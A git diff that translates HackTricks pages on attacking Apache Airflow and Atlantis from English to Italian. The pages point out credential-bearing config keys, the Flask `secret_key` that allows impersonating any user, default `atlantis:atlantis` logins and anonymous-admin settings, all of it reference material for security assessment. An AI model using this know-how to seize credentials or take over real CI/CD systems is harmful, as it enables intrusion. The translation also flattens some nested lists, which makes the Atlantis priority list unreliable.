-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 5fd8e486b..9e69754cc 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,115 +1,105 @@
-# Airflow Configuration
+# Configurazione di Airflow
{{#include ../../banners/hacktricks-training.md}}
-## Configuration File
+## File di Configurazione
-**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
+**Apache Airflow** genera un **file di configurazione** in tutte le macchine airflow chiamato **`airflow.cfg`** nella home dell'utente airflow. Questo file di configurazione contiene informazioni di configurazione e **potrebbe contenere informazioni interessanti e sensibili.**
-**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
+**Ci sono due modi per accedere a questo file: compromettendo qualche macchina airflow, o accedendo alla console web.**
-Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
+Nota che i **valori all'interno del file di configurazione** **potrebbero non essere quelli utilizzati**, poiché puoi sovrascriverli impostando variabili d'ambiente come `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
-If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
-If you have **access to some machine inside the airflow env**, check the **environment**.
+Se hai accesso al **file di configurazione nel server web**, puoi controllare la **configurazione reale in esecuzione** nella stessa pagina in cui viene visualizzata la configurazione.\
+Se hai **accesso a qualche macchina all'interno dell'ambiente airflow**, controlla l'**ambiente**.
-Some interesting values to check when reading the config file:
+Alcuni valori interessanti da controllare quando leggi il file di configurazione:
### \[api]
-- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
-- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
-- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
-- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
- - `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
- - `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
- - `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
- - `airflow.api.auth.backend.basic_auth`: For **basic authentication**
- - `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
- - `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
- - You can also **create you own authentication** method with python.
-- **`google_key_path`:** Path to the **GCP service account key**
+- **`access_control_allow_headers`**: Questo indica gli **header** **consentiti** per **CORS**
+- **`access_control_allow_methods`**: Questo indica i **metodi consentiti** per **CORS**
+- **`access_control_allow_origins`**: Questo indica le **origini consentite** per **CORS**
+- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) ci sono alcune opzioni che possono essere impostate per configurare chi può accedere all'API:
+- `airflow.api.auth.backend.deny_all`: **Per impostazione predefinita nessuno** può accedere all'API
+- `airflow.api.auth.backend.default`: **Tutti possono** accedervi senza autenticazione
+- `airflow.api.auth.backend.kerberos_auth`: Per configurare **l'autenticazione kerberos**
+- `airflow.api.auth.backend.basic_auth`: Per **l'autenticazione di base**
+- `airflow.composer.api.backend.composer_auth`: Utilizza l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)).
+- `composer_auth_user_registration_role`: Questo indica il **ruolo** che l'**utente compositore** avrà all'interno di **airflow** (**Op** per impostazione predefinita).
+- Puoi anche **creare il tuo metodo di autenticazione** con python.
+- **`google_key_path`:** Percorso alla **chiave del servizio GCP**
### **\[atlas]**
-- **`password`**: Atlas password
-- **`username`**: Atlas username
+- **`password`**: Password di Atlas
+- **`username`**: Nome utente di Atlas
### \[celery]
-- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
-- **`result_backend`**: Postgres url which may contain **credentials**.
-- **`ssl_cacert`**: Path to the cacert
-- **`ssl_cert`**: Path to the cert
-- **`ssl_key`**: Path to the key
+- **`flower_basic_auth`** : Credenziali (_user1:password1,user2:password2_)
+- **`result_backend`**: URL Postgres che potrebbe contenere **credenziali**.
+- **`ssl_cacert`**: Percorso al cacert
+- **`ssl_cert`**: Percorso al certificato
+- **`ssl_key`**: Percorso alla chiave
### \[core]
-- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
-- **`fernet_key`**: Key to store encrypted variables (symmetric)
-- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
-- **`security`**: What security module to use (for example kerberos)
+- **`dag_discovery_safe_mode`**: Abilitato per impostazione predefinita. Quando si scoprono i DAG, ignora eventuali file che non contengono le stringhe `DAG` e `airflow`.
+- **`fernet_key`**: Chiave per memorizzare variabili crittografate (simmetrica)
+- **`hide_sensitive_var_conn_fields`**: Abilitato per impostazione predefinita, nasconde informazioni sensibili delle connessioni.
+- **`security`**: Quale modulo di sicurezza utilizzare (ad esempio kerberos)
### \[dask]
-- **`tls_ca`**: Path to ca
-- **`tls_cert`**: Part to the cert
-- **`tls_key`**: Part to the tls key
+- **`tls_ca`**: Percorso al ca
+- **`tls_cert`**: Percorso al certificato
+- **`tls_key`**: Percorso alla chiave tls
### \[kerberos]
-- **`ccache`**: Path to ccache file
-- **`forwardable`**: Enabled by default
+- **`ccache`**: Percorso al file ccache
+- **`forwardable`**: Abilitato per impostazione predefinita
### \[logging]
-- **`google_key_path`**: Path to GCP JSON creds.
+- **`google_key_path`**: Percorso alle credenziali JSON di GCP.
### \[secrets]
-- **`backend`**: Full class name of secrets backend to enable
-- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
+- **`backend`**: Nome completo della classe del backend dei segreti da abilitare
+- **`backend_kwargs`**: Il parametro backend_kwargs viene caricato in un dizionario e passato a **init** della classe del backend dei segreti.
### \[smtp]
-- **`smtp_password`**: SMTP password
-- **`smtp_user`**: SMTP user
+- **`smtp_password`**: Password SMTP
+- **`smtp_user`**: Utente SMTP
### \[webserver]
-- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
-- **`cookie_secure`**: Set **secure flag** on the the session cookie
-- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
-- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
-- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
-- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
-- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
-- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
+- **`cookie_samesite`**: Per impostazione predefinita è **Lax**, quindi è già il valore più debole possibile
+- **`cookie_secure`**: Imposta il **flag sicuro** sul cookie di sessione
+- **`expose_config`**: Per impostazione predefinita è False, se vero, la **configurazione** può essere **letta** dalla **console** web
+- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce python** (potenzialmente utili per un attaccante)
+- **`secret_key`**: Questa è la **chiave utilizzata da flask per firmare i cookie** (se hai questo puoi **impersonare qualsiasi utente in Airflow**)
+- **`web_server_ssl_cert`**: **Percorso** al **certificato** **SSL**
+- **`web_server_ssl_key`**: **Percorso** alla **chiave** **SSL**
+- **`x_frame_enabled`**: Il valore predefinito è **True**, quindi per impostazione predefinita il clickjacking non è possibile
-### Web Authentication
-
-By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
+### Autenticazione Web
+Per impostazione predefinita, **l'autenticazione web** è specificata nel file **`webserver_config.py`** ed è configurata come
```bash
AUTH_TYPE = AUTH_DB
```
-
-Which means that the **authentication is checked against the database**. However, other configurations are possible like
-
+Il che significa che **l'autenticazione viene controllata rispetto al database**. Tuttavia, sono possibili altre configurazioni come
```bash
AUTH_TYPE = AUTH_OAUTH
```
+Per lasciare l'**autenticazione ai servizi di terze parti**.
-To leave the **authentication to third party services**.
-
-However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
-
+Tuttavia, c'è anche un'opzione per **consentire l'accesso agli utenti anonimi**, impostando il seguente parametro al **ruolo desiderato**:
```bash
AUTH_ROLE_PUBLIC = 'Admin'
```
-
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index 7ff782327..9fca3b5bc 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -4,44 +4,40 @@
## RBAC
-(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
+(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **insieme di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli.
-- **`Admin`** users have all possible permissions.
-- **`Public`** users (anonymous) don’t have any permissions.
-- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
-- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
-- **`Op`** users have `User` permissions plus additional op permissions.
+- **`Admin`** gli utenti hanno tutti i permessi possibili.
+- **`Public`** gli utenti (anonimi) non hanno alcun permesso.
+- **`Viewer`** gli utenti hanno permessi di visualizzazione limitati (solo lettura). Non **può vedere la configurazione.**
+- **`User`** gli utenti hanno permessi di `Viewer` più permessi aggiuntivi che gli consentono di gestire un po' i DAG. Può **vedere il file di configurazione.**
+- **`Op`** gli utenti hanno permessi di `User` più permessi aggiuntivi di op.
-Note that **admin** users can **create more roles** with more **granular permissions**.
+Nota che gli utenti **admin** possono **creare più ruoli** con permessi **più granulari**.
-Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
+Nota anche che l'unico ruolo predefinito con **permesso di elencare utenti e ruoli è Admin, nemmeno Op** sarà in grado di farlo.
-### Default Permissions
+### Permessi Predefiniti
-These are the default permissions per default role:
+Questi sono i permessi predefiniti per ruolo predefinito:
- **Admin**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
+\[può eliminare su Connections, può leggere su Connections, può modificare su Connections, può creare su Connections, può leggere su DAGs, può modificare su DAGs, può eliminare su DAGs, può leggere su DAG Runs, può leggere su Task Instances, può modificare su Task Instances, può eliminare su DAG Runs, può creare su DAG Runs, può modificare su DAG Runs, può leggere su Audit Logs, può leggere su ImportError, può eliminare su Pools, può leggere su Pools, può modificare su Pools, può creare su Pools, può leggere su Providers, può eliminare su Variables, può leggere su Variables, può modificare su Variables, può creare su Variables, può leggere su XComs, può leggere su DAG Code, può leggere su Configurations, può leggere su Plugins, può leggere su Roles, può leggere su Permissions, può eliminare su Roles, può modificare su Roles, può creare su Roles, può leggere su Users, può creare su Users, può modificare su Users, può eliminare su Users, può leggere su DAG Dependencies, può leggere su Jobs, può leggere su My Password, può modificare su My Password, può leggere su My Profile, può modificare su My Profile, può leggere su SLA Misses, può leggere su Task Logs, può leggere su Website, accesso al menu su Browse, accesso al menu su DAG Dependencies, accesso al menu su DAG Runs, accesso al menu su Documentation, accesso al menu su Docs, accesso al menu su Jobs, accesso al menu su Audit Logs, accesso al menu su Plugins, accesso al menu su SLA Misses, accesso al menu su Task Instances, può creare su Task Instances, può eliminare su Task Instances, accesso al menu su Admin, accesso al menu su Configurations, accesso al menu su Connections, accesso al menu su Pools, accesso al menu su Variables, accesso al menu su XComs, può eliminare su XComs, può leggere su Task Reschedules, accesso al menu su Task Reschedules, può leggere su Triggers, accesso al menu su Triggers, può leggere su Passwords, può modificare su Passwords, accesso al menu su List Users, accesso al menu su Security, accesso al menu su List Roles, può leggere su User Stats Chart, accesso al menu su User's Statistics, accesso al menu su Base Permissions, può leggere su View Menus, accesso al menu su Views/Menus, può leggere su Permission Views, accesso al menu su Permission on Views/Menus, può ottenere su MenuApi, accesso al menu su Providers, può creare su XComs]
- **Op**
-\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
+\[può eliminare su Connections, può leggere su Connections, può modificare su Connections, può creare su Connections, può leggere su DAGs, può modificare su DAGs, può eliminare su DAGs, può leggere su DAG Runs, può leggere su Task Instances, può modificare su Task Instances, può eliminare su DAG Runs, può creare su DAG Runs, può modificare su DAG Runs, può leggere su Audit Logs, può leggere su ImportError, può eliminare su Pools, può leggere su Pools, può modificare su Pools, può creare su Pools, può leggere su Providers, può eliminare su Variables, può leggere su Variables, può modificare su Variables, può creare su Variables, può leggere su XComs, può leggere su DAG Code, può leggere su Configurations, può leggere su Plugins, può leggere su DAG Dependencies, può leggere su Jobs, può leggere su My Password, può modificare su My Password, può leggere su My Profile, può modificare su My Profile, può leggere su SLA Misses, può leggere su Task Logs, può leggere su Website, accesso al menu su Browse, accesso al menu su DAG Dependencies, accesso al menu su DAG Runs, accesso al menu su Documentation, accesso al menu su Docs, accesso al menu su Jobs, accesso al menu su Audit Logs, accesso al menu su Plugins, accesso al menu su SLA Misses, accesso al menu su Task Instances, può creare su Task Instances, può eliminare su Task Instances, accesso al menu su Admin, accesso al menu su Configurations, accesso al menu su Connections, accesso al menu su Pools, accesso al menu su Variables, accesso al menu su XComs, può eliminare su XComs]
- **User**
-\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
+\[può leggere su DAGs, può modificare su DAGs, può eliminare su DAGs, può leggere su DAG Runs, può leggere su Task Instances, può modificare su Task Instances, può eliminare su DAG Runs, può creare su DAG Runs, può modificare su DAG Runs, può leggere su Audit Logs, può leggere su ImportError, può leggere su XComs, può leggere su DAG Code, può leggere su Plugins, può leggere su DAG Dependencies, può leggere su Jobs, può leggere su My Password, può modificare su My Password, può leggere su My Profile, può modificare su My Profile, può leggere su SLA Misses, può leggere su Task Logs, può leggere su Website, accesso al menu su Browse, accesso al menu su DAG Dependencies, accesso al menu su DAG Runs, accesso al menu su Documentation, accesso al menu su Docs, accesso al menu su Jobs, accesso al menu su Audit Logs, accesso al menu su Plugins, accesso al menu su SLA Misses, accesso al menu su Task Instances, può creare su Task Instances, può eliminare su Task Instances]
- **Viewer**
-\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
+\[può leggere su DAGs, può leggere su DAG Runs, può leggere su Task Instances, può leggere su Audit Logs, può leggere su ImportError, può leggere su XComs, può leggere su DAG Code, può leggere su Plugins, può leggere su DAG Dependencies, può leggere su Jobs, può leggere su My Password, può modificare su My Password, può leggere su My Profile, può modificare su My Profile, può leggere su SLA Misses, può leggere su Task Logs, può leggere su Website, accesso al menu su Browse, accesso al menu su DAG Dependencies, accesso al menu su DAG Runs, accesso al menu su Documentation, accesso al menu su Docs, accesso al menu su Jobs, accesso al menu su Audit Logs, accesso al menu su Plugins, accesso al menu su SLA Misses, accesso al menu su Task Instances]
- **Public**
\[]
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index a4b35140f..9ab5b1bb8 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -1,112 +1,112 @@
-# Atlantis Security
+# Sicurezza di Atlantis
{{#include ../banners/hacktricks-training.md}}
-### Basic Information
+### Informazioni di base
-Atlantis basically helps you to to run terraform from Pull Requests from your git server.
+Atlantis aiuta fondamentalmente a eseguire terraform dalle Pull Requests dal tuo server git.
.png>)
-### Local Lab
+### Laboratorio locale
-1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
-2. Create a **personal token** (with repo access) of your **github** user
-3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
- 1. You can access the web page in 127.0.0.1:4141
+1. Vai alla **pagina delle release di atlantis** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **scarica** quella che fa per te.
+2. Crea un **token personale** (con accesso ai repo) del tuo utente **github**.
+3. Esegui `./atlantis testdrive` e verrà creato un **repo demo** che puoi usare per **parlare con atlantis**.
+4. Puoi accedere alla pagina web in 127.0.0.1:4141.
-### Atlantis Access
+### Accesso ad Atlantis
-#### Git Server Credentials
+#### Credenziali del server Git
-**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
-However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
-[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
+**Atlantis** supporta diversi host git come **Github**, **Gitlab**, **Bitbucket** e **Azure DevOps**.\
+Tuttavia, per accedere ai repo su queste piattaforme e eseguire azioni, è necessario avere un **accesso privilegiato concesso a loro** (almeno permessi di scrittura).\
+[**La documentazione**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) incoraggia a creare un utente su queste piattaforme specificamente per Atlantis, ma alcune persone potrebbero usare account personali.
> [!WARNING]
-> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
+> In ogni caso, dal punto di vista di un attaccante, l'**account di Atlantis** sarà molto **interessante** **da compromettere**.
-#### Webhooks
+#### Webhook
-Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
+Atlantis utilizza opzionalmente [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) per convalidare che i **webhook** ricevuti dal tuo host Git siano **legittimi**.
-One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
+Un modo per confermare ciò sarebbe **consentire le richieste solo dagli IP** del tuo host Git, ma un modo più semplice è utilizzare un Webhook Secret.
-Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
+Nota che a meno che tu non utilizzi un server github o bitbucket privato, dovrai esporre gli endpoint webhook a Internet.
> [!WARNING]
-> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
+> Atlantis andrà a **esporre webhook** affinché il server git possa inviargli informazioni. Dal punto di vista di un attaccante, sarebbe interessante sapere **se puoi inviargli messaggi**.
-#### Provider Credentials
+#### Credenziali del provider
-[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
+[Dal documento:](https://www.runatlantis.io/docs/provider-credentials.html)
-Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
+Atlantis esegue Terraform semplicemente **eseguendo i comandi `terraform plan` e `apply`** sul server **su cui è ospitato Atlantis**. Proprio come quando esegui Terraform localmente, Atlantis ha bisogno di credenziali per il tuo specifico provider.
-It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
+Sta a te come [fornire credenziali](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) per il tuo specifico provider ad Atlantis:
-- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
- - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
- - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- Il [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) di Atlantis e il [Modulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) hanno i propri meccanismi per le credenziali del provider. Leggi la loro documentazione.
+- Se stai eseguendo Atlantis in un cloud, molti cloud hanno modi per fornire accesso API cloud alle applicazioni in esecuzione su di essi, ad es.:
+- [Ruoli AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Cerca "EC2 Role")
+- [Account di servizio delle istanze GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- Molti utenti impostano variabili di ambiente, ad es. `AWS_ACCESS_KEY`, dove sta girando Atlantis.
+- Altri creano i file di configurazione necessari, ad es. `~/.aws/credentials`, dove sta girando Atlantis.
+- Usa il [Provider HashiCorp Vault](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) per ottenere credenziali del provider.
> [!WARNING]
-> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
+> Il **container** in cui **Atlantis** è **in esecuzione** conterrà molto probabilmente **credenziali privilegiate** per i provider (AWS, GCP, Github...) che Atlantis sta gestendo tramite Terraform.
-#### Web Page
+#### Pagina web
-By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
+Per impostazione predefinita, Atlantis eseguirà una **pagina web sulla porta 4141 in localhost**. Questa pagina consente solo di abilitare/disabilitare l'applicazione di atlantis e controllare lo stato del piano dei repo e sbloccarli (non consente di modificare le cose, quindi non è molto utile).
-You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
+Probabilmente non la troverai esposta su Internet, ma sembra che per impostazione predefinita **non siano necessarie credenziali** per accedervi (e se lo sono, `atlantis`:`atlantis` sono le **predefinite**).
-### Server Configuration
+### Configurazione del server
-Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
+La configurazione per `atlantis server` può essere specificata tramite flag da riga di comando, variabili di ambiente, un file di configurazione o un mix dei tre.
-- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- Puoi trovare [**qui l'elenco dei flag**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supportati dal server di Atlantis.
+- Puoi trovare [**qui come trasformare un'opzione di configurazione in una variabile di ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
-Values are **chosen in this order**:
+I valori sono **scelti in quest'ordine**:
-1. Flags
-2. Environment Variables
-3. Config File
+1. Flag
+2. Variabili di ambiente
+3. File di configurazione
> [!WARNING]
-> Note that in the configuration you might find interesting values such as **tokens and passwords**.
+> Nota che nella configurazione potresti trovare valori interessanti come **token e password**.
-#### Repos Configuration
+#### Configurazione dei repo
-Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
+Alcune configurazioni influenzano **come vengono gestiti i repo**. Tuttavia, è possibile che **ogni repo richieda impostazioni diverse**, quindi ci sono modi per specificare ciascun repo. Questo è l'ordine di priorità:
-1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
- 1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
-2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
-3. **Default** values
+1. File [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Questo file può essere utilizzato per specificare come atlantis dovrebbe trattare il repo. Tuttavia, per impostazione predefinita, alcune chiavi non possono essere specificate qui senza alcuni flag che lo consentano.
+2. Probabilmente necessario essere consentito da flag come `allowed_overrides` o `allow_custom_workflows`.
+3. [**Configurazione lato server**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Puoi passarla con il flag `--repo-config` ed è un yaml che configura nuove impostazioni per ciascun repo (supportati regex).
+4. Valori **predefiniti**.
-**PR Protections**
+**Protezione PR**
-Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
+Atlantis consente di indicare se desideri che il **PR** sia **`approvato`** da qualcun altro (anche se non è impostato nella protezione del branch) e/o essere **`mergeable`** (protezione del branch superata) **prima di eseguire apply**. Dal punto di vista della sicurezza, impostare entrambe le opzioni è raccomandato.
-In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
+Nel caso in cui `allowed_overrides` sia True, queste impostazioni possono essere **sovrascritte su ciascun progetto dal file `/atlantis.yml`**.
-**Scripts**
+**Script**
-The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
+La configurazione del repo può **specificare script** da eseguire [**prima**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) e [**dopo**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) che un **workflow viene eseguito.**
